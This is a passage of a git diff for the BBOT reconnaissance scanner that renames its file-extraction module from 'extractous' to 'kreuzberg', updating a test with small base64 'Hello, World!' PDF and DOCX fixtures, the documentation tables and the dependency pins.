AccmZZUlo+hkwBAAAaBQAAEwAAAAAAAAAAAAAAAABzJAAAW0NvbnRlbnRfVHlwZXNdLnhtbFBLBQYAAAAACwALAMECAADwJQAAAAA=" - ) - - expected_result_pdf = "Hello, World!" - expected_result_docx = "Hello, World!!" - - async def setup_after_prep(self, module_test): - module_test.set_expect_requests( - {"uri": "/"}, - {"response_data": '<a href="/Test_PDF"/><a href="/Test_DOCX"/>'}, - ) - module_test.set_expect_requests( - {"uri": "/Test_PDF"}, - {"response_data": self.pdf_data, "headers": {"Content-Type": "application/pdf"}}, - ) - module_test.set_expect_requests( - {"uri": "/Test_DOCX"}, - { - "response_data": self.docx_data, - "headers": {"Content-Type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document"}, - }, - ) - - def check(self, module_test, events): - filesystem_events = [e for e in events if e.type == "FILESYSTEM"] - assert 2 == len(filesystem_events), filesystem_events - for filesystem_event in filesystem_events: - file = Path(filesystem_event.data["path"]) - assert file.is_file(), "Destination file doesn't exist" - assert open(file, "rb").read() == self.pdf_data or open(file, "rb").read() == self.docx_data, ( - f"File at {file} does not contain the correct content" - ) - raw_text_events = [e for e in events if e.type == "RAW_TEXT"] - assert 2 == len(raw_text_events), "Failed to emit RAW_TEXT event" - for raw_text_event in raw_text_events: - assert raw_text_event.data in [ - self.expected_result_pdf, - self.expected_result_docx, - ], f"Text extracted from {raw_text_event.data['path']} is incorrect, got {raw_text_event.data}" diff --git a/bbot/test/test_step_2/module_tests/test_module_kreuzberg.py b/bbot/test/test_step_2/module_tests/test_module_kreuzberg.py new file mode 100644 index 0000000000..217375dbd5 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_kreuzberg.py @@ -0,0 +1,89 @@ +import base64 +from pathlib import Path +from .base import ModuleTestBase + +from ...bbot_fixtures import * + + +class TestKreuzberg(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["kreuzberg", "filedownload", "httpx", "excavate", "speculate"] + config_overrides = { + "web": { + "spider_distance": 2, + "spider_depth": 2, + }, + "modules": { + "filedownload": { + "output_folder": bbot_test_dir / "filedownload", + }, + }, + } + + pdf_data = base64.b64decode( + "JVBERi0xLjMKJe+/ve+/ve+/ve+/vSBSZXBvcnRMYWIgR2VuZXJhdGVkIFBERiBkb2N1bWVudCBodHRwOi8vd3d3LnJlcG9ydGxhYi5jb20KMSAwIG9iago8PAovRjEgMiAwIFIKPj4KZW5kb2JqCjIgMCBvYmoKPDwKL0Jhc2VGb250IC9IZWx2ZXRpY2EgL0VuY29kaW5nIC9XaW5BbnNpRW5jb2RpbmcgL05hbWUgL0YxIC9TdWJ0eXBlIC9UeXBlMSAvVHlwZSAvRm9udAo+PgplbmRvYmoKMyAwIG9iago8PAovQ29udGVudHMgNyAwIFIgL01lZGlhQm94IFsgMCAwIDU5NS4yNzU2IDg0MS44ODk4IF0gL1BhcmVudCA2IDAgUiAvUmVzb3VyY2VzIDw8Ci9Gb250IDEgMCBSIC9Qcm9jU2V0IFsgL1BERiAvVGV4dCAvSW1hZ2VCIC9JbWFnZUMgL0ltYWdlSSBdCj4+IC9Sb3RhdGUgMCAvVHJhbnMgPDwKCj4+IAogIC9UeXBlIC9QYWdlCj4+CmVuZG9iago0IDAgb2JqCjw8Ci9QYWdlTW9kZSAvVXNlTm9uZSAvUGFnZXMgNiAwIFIgL1R5cGUgL0NhdGFsb2cKPj4KZW5kb2JqCjUgMCBvYmoKPDwKL0F1dGhvciAoYW5vbnltb3VzKSAvQ3JlYXRpb25EYXRlIChEOjIwMjQwNjAzMTg1ODE2KzAwJzAwJykgL0NyZWF0b3IgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAvS2V5d29yZHMgKCkgL01vZERhdGUgKEQ6MjAyNDA2MDMxODU4MTYrMDAnMDAnKSAvUHJvZHVjZXIgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAKICAvU3ViamVjdCAodW5zcGVjaWZpZWQpIC9UaXRsZSAodW50aXRsZWQpIC9UcmFwcGVkIC9GYWxzZQo+PgplbmRvYmoKNiAwIG9iago8PAovQ291bnQgMSAvS2lkcyBbIDMgMCBSIF0gL1R5cGUgL1BhZ2VzCj4+CmVuZG9iago3IDAgb2JqCjw8Ci9GaWx0ZXIgWyAvQVNDSUk4NURlY29kZSAvRmxhdGVEZWNvZGUgXSAvTGVuZ3RoIDEwNwo+PgpzdHJlYW0KR2FwUWgwRT1GLDBVXEgzVFxwTllUXlFLaz90Yz5JUCw7VyNVMV4yM2loUEVNXz9DVzRLSVNpOTBNakdeMixGUyM8UkM1K2MsbilaOyRiSyRiIjVJWzwhXlREI2dpXSY9NVgsWzVAWUBWfj5lbmRzdHJlYW0KZW5kb2JqCnhyZWYKMCA4CjAwMDAwMDAwMDAgNjU1MzUgZiAKMDAwMDAwMDA3MyAwMDAwMCBuIAowMDAwMDAwMTA0IDAwMDAwIG4gCjAwMDAwMDAyMTEgMDAwMDAgbiAKMDAwMDAwMDQxNCAwMDAwMCBuIAowMDAwMDAwNDgyIDAwMDAwIG4gCjAwMDAwMDA3NzggMDAwMDAgbiAKMDAwMDAwMDgzNyAwMDAwMCBuIAp0cmFpbGVyCjw8Ci9JRCAKWzw4MGQ5ZjViOTY0ZmM5OTI4NDUwMWRlYjdhNmE2MzdmNz48ODBkOWY1Yjk2NGZjOTkyODQ1MDFkZWI3YTZhNjM3Zjc+XQolIFJlcG9ydExhYiBnZW5lcmF0ZWQgUERGIGRvY3VtZW50IC0tIGRpZ2VzdCAoaHR0cDovL3d3dy5yZXBvcnRsYWIuY29tKQoKL0luZm8gNSAwIFIKL1Jvb3QgNCAwIFIKL1NpemUgOAo+PgpzdGFydHhyZWYKMTAzNAolJUVPRg==" + ) + + docx_data = base64.b64decode( + "UEsDBBQAAAAAAFitWVzXeYTquAEAALgBAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbDw/eG1sIHZl" + "cnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPFR5cGVzIHht" + "bG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvcGFja2FnZS8yMDA2L2NvbnRl" + "bnQtdHlwZXMiPgogIDxEZWZhdWx0IEV4dGVuc2lvbj0icmVscyIgQ29udGVudFR5cGU9ImFwcGxp" + "Y2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1wYWNrYWdlLnJlbGF0aW9uc2hpcHMreG1sIi8+CiAg" + "PERlZmF1bHQgRXh0ZW5zaW9uPSJ4bWwiIENvbnRlbnRUeXBlPSJhcHBsaWNhdGlvbi94bWwiLz4K" + "ICA8T3ZlcnJpZGUgUGFydE5hbWU9Ii93b3JkL2RvY3VtZW50LnhtbCIgQ29udGVudFR5cGU9ImFw" + "cGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2lu" + "Z21sLmRvY3VtZW50Lm1haW4reG1sIi8+CjwvVHlwZXM+UEsDBBQAAAAAAFitWVwgG4bqLgEAAC4B" + "AAALAAAAX3JlbHMvLnJlbHM8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCIgc3Rh" + "bmRhbG9uZT0ieWVzIj8+CjxSZWxhdGlvbnNoaXBzIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVu" + "eG1sZm9ybWF0cy5vcmcvcGFja2FnZS8yMDA2L3JlbGF0aW9uc2hpcHMiPgogIDxSZWxhdGlvbnNo" + "aXAgSWQ9InJJZDEiIFR5cGU9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZp" + "Y2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMvb2ZmaWNlRG9jdW1lbnQiIFRhcmdldD0id29y" + "ZC9kb2N1bWVudC54bWwiLz4KPC9SZWxhdGlvbnNoaXBzPlBLAwQUAAAAAABYrVlcNNIntwABAAAA" + "AQAAEQAAAHdvcmQvZG9jdW1lbnQueG1sPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRG" + "LTgiIHN0YW5kYWxvbmU9InllcyI/Pgo8dzpkb2N1bWVudCB4bWxuczp3PSJodHRwOi8vc2NoZW1h" + "cy5vcGVueG1sZm9ybWF0cy5vcmcvd29yZHByb2Nlc3NpbmdtbC8yMDA2L21haW4iPgogIDx3OmJv" + "ZHk+CiAgICA8dzpwPgogICAgICA8dzpyPgogICAgICAgIDx3OnQ+SGVsbG8sIFdvcmxkISE8L3c6" + "dD4KICAgICAgPC93OnI+CiAgICA8L3c6cD4KICA8L3c6Ym9keT4KPC93OmRvY3VtZW50PlBLAQIU" + "AxQAAAAAAFitWVzXeYTquAEAALgBAAATAAAAAAAAAAAAAACAAQAAAABbQ29udGVudF9UeXBlc10u" + "eG1sUEsBAhQDFAAAAAAAWK1ZXCAbhuouAQAALgEAAAsAAAAAAAAAAAAAAIAB6QEAAF9yZWxzLy5y" + "ZWxzUEsBAhQDFAAAAAAAWK1ZXDTSJ7cAAQAAAAEAABEAAAAAAAAAAAAAAIABQAMAAHdvcmQvZG9j" + "dW1lbnQueG1sUEsFBgAAAAADAAMAuQAAAG8EAAAAAA==" + ) + + expected_result_pdf = "Hello, World!" + expected_result_docx = "Hello, World!!" + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests( + {"uri": "/"}, + {"response_data": '<a href="/Test_PDF"/><a href="/Test_DOCX"/>'}, + ) + module_test.set_expect_requests( + {"uri": "/Test_PDF"}, + {"response_data": self.pdf_data, "headers": {"Content-Type": "application/pdf"}}, + ) + module_test.set_expect_requests( + {"uri": "/Test_DOCX"}, + { + "response_data": self.docx_data, + "headers": {"Content-Type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document"}, + }, + ) + + def check(self, module_test, events): + filesystem_events = [e for e in events if e.type == "FILESYSTEM"] + assert 2 == len(filesystem_events), filesystem_events + for filesystem_event in filesystem_events: + file = Path(filesystem_event.data["path"]) + assert file.is_file(), "Destination file doesn't exist" + assert open(file, "rb").read() == self.pdf_data or open(file, "rb").read() == self.docx_data, ( + f"File at {file} does not contain the correct content" + ) + raw_text_events = [e for e in events if e.type == "RAW_TEXT"] + assert 2 == len(raw_text_events), "Failed to emit RAW_TEXT event" + for raw_text_event in raw_text_events: + assert raw_text_event.data in [ + self.expected_result_pdf, + self.expected_result_docx, + ], f"Text extracted from {raw_text_event.data['path']} is incorrect, got {raw_text_event.data}" diff --git a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py index 2c3795cabe..57acc74656 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py +++ b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py @@ -1309,7 +1309,7 @@ def check(self, module_test, events): class TestTrufflehog_RAWText(ModuleTestBase): targets = ["http://127.0.0.1:8888/test.pdf"] - modules_overrides = ["httpx", "trufflehog", "filedownload", "extractous"] + modules_overrides = ["httpx", "trufflehog", "filedownload", "kreuzberg"] download_dir = bbot_test_dir / "test_trufflehog_rawtext" config_overrides = { diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index 5afb9f73aa..f00a513a22 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -1250,7 +1250,7 @@ }, { "id": 75, - "name": "extractous", + "name": "kreuzberg", "parent": 99999999, "consumes": [ 10 diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 4205db8810..50af1841f6 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -83,7 +83,7 @@ | docker_pull | scan | No | Download images from a docker repository | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-24 | | dockerhub | scan | No | Search for docker repositories of discovered orgs/usernames | code-enum, passive, safe | ORG_STUB, SOCIAL | CODE_REPOSITORY, SOCIAL, URL_UNVERIFIED | @domwhewell-sage | 2024-03-12 | | emailformat | scan | No | Query email-format.com for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | -| extractous | scan | No | Module to extract data from files | passive, safe | FILESYSTEM | RAW_TEXT | @domwhewell-sage | 2024-06-03 | +| kreuzberg | scan | No | Module to extract data from files | passive, safe | FILESYSTEM | RAW_TEXT | @domwhewell-sage | 2024-06-03 | | fullhunt | scan | Yes | Query the fullhunt.io API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | | git_clone | scan | No | Clone code github repositories | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-08 | | gitdumper | scan | No | Download a leaked .git folder recursively or by fuzzing common names | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2025-02-11 | diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 6562a5ca69..b60c3260e4 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -72,7 +72,7 @@ Presets: Modules: -m, --modules MODULE [MODULE ...] - Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_realm,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,extractous,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trickest,trufflehog,url_manipulation,urlscan,vhost,viewdns,virustotal,wafw00f,wayback,wpscan + Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_realm,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,kreuzberg,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trickest,trufflehog,url_manipulation,urlscan,vhost,viewdns,virustotal,wafw00f,wayback,wpscan -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index f518aa8f02..548f60b61a 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -530,7 +530,7 @@ In addition to the stated options for each module, the following universal optio | modules.dnstlsrpt.emit_urls | bool | Emit URL_UNVERIFIED events | True | | modules.docker_pull.all_tags | bool | Download all tags from each registry (Default False) | False | | modules.docker_pull.output_folder | str | Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage. | | -| modules.extractous.extensions | list | File extensions to parse | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'] | +| modules.kreuzberg.extensions | list | File extensions to parse | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'] | | modules.fullhunt.api_key | str | FullHunt API Key | | | modules.git_clone.api_key | str | Github token | | | modules.git_clone.output_folder | str | Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage. | | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index f554b8b797..7d168e4456 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -113,7 +113,7 @@ Below is a full list of event types along with which modules produce/consume the | DNS_NAME | 60 | 43 | anubisdb, asset_inventory, azure_realm, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, passivetotal, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, digitorus, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, passivetotal, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, vhost, viewdns, virustotal, wayback | | DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | | EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | extractous, jadx, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FILESYSTEM | 4 | 9 | kreuzberg, jadx, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | | FINDING | 2 | 32 | asset_inventory, web_report | ajaxpro, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, newsletters, ntlm, nuclei, paramminer_cookies, paramminer_getparams, reflected_parameters, retirejs, shodan_idb, smuggler, speculate, telerik, trufflehog, url_manipulation, wpscan | | GEOLOCATION | 0 | 2 | | ip2location, ipstack | | HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | @@ -127,7 +127,7 @@ Below is a full list of event types along with which modules produce/consume the | PASSWORD | 0 | 2 | | credshed, dehashed | | PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | | RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | extractous | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | | SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | | STORAGE_BUCKET | 8 | 5 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft | | TECHNOLOGY | 4 | 8 | asset_inventory, gitlab_onprem, web_report, wpscan | badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_idb, wpscan | diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 0287ecdec6..18358ae0ce 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -114,8 +114,8 @@ A single module can have multiple flags. For example, the `securitytrails` modul <!-- BBOT MODULE FLAGS --> | Flag | # Modules | Description | Modules | |------------------|-------------|----------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| safe | 98 | Non-intrusive, safe to run | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, extractous, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| passive | 70 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_realm, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, extractous, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| safe | 98 | Non-intrusive, safe to run | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, kreuzberg, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| passive | 70 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_realm, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, kreuzberg, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | | active | 52 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, vhost, wafw00f, wpscan | | subdomain-enum | 51 | Enumerates subdomains | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | | aggressive | 22 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, generic_ssrf, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, vhost, wafw00f, wpscan | diff --git a/pyproject.toml b/pyproject.toml index 62fa5cc6e7..35452f70b9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ dynamic = ["version"] description = "OSINT automation for hackers." readme = "README.md" license = "AGPL-3.0" -requires-python = ">=3.10" +requires-python = ">=3.10,<3.15" authors = [ { name = "TheTechromancer" }, { name = "Paul Mueller" }, @@ -41,10 +41,10 @@ dependencies = [ "pyzmq>=26.0.3,<28.0.0", "httpx>=0.28.1,<1", "puremagic>=1.28,<2", - "pydantic>=2.9.2,<3", + "pydantic>=2.12.2,<3", "radixtarget>=3.0.13,<4", "orjson>=3.10.12,<4", - "ansible-core>=2.15.13,<3", + "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", ] diff --git a/uv.lock b/uv.lock index 18cf64a3dc..dfd4409fc1 100644 --- a/uv.lock +++ b/uv.lock @@ -1,6 +1,6 @@ version = 1 revision = 3 -requires-python = ">=3.10" +requires-python = ">=3.10, <3.15" resolution-markers = [ "python_full_version >= '3.12'", "python_full_version == '3.11.*'", @@ -222,7 +222,7 @@ docs = [ [package.metadata] requires-dist = [ - { name = "ansible-core", specifier = ">=2.15.13,<3" }, + { name = "ansible-core", specifier = ">=2.17,<3" }, { name = "ansible-runner", specifier = ">=2.3.2,<3" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "cachetools", specifier = ">=5.3.2,<7.0.0" }, @@ -239,7 +239,7 @@ requires-dist = [ { name = "psutil", specifier = ">=5.9.4,<8.0.0" }, { name = "puremagic", specifier = ">=1.28,<2" }, { name = "pycryptodome", specifier = ">=3.17,<4" }, - { name = "pydantic", specifier = ">=2.9.2,<3" }, + { name = "pydantic", specifier = ">=2.12.2,<3" }, { name = "pyjwt", specifier = ">=2.7.0,<3" }, { name = "pyzmq", specifier = 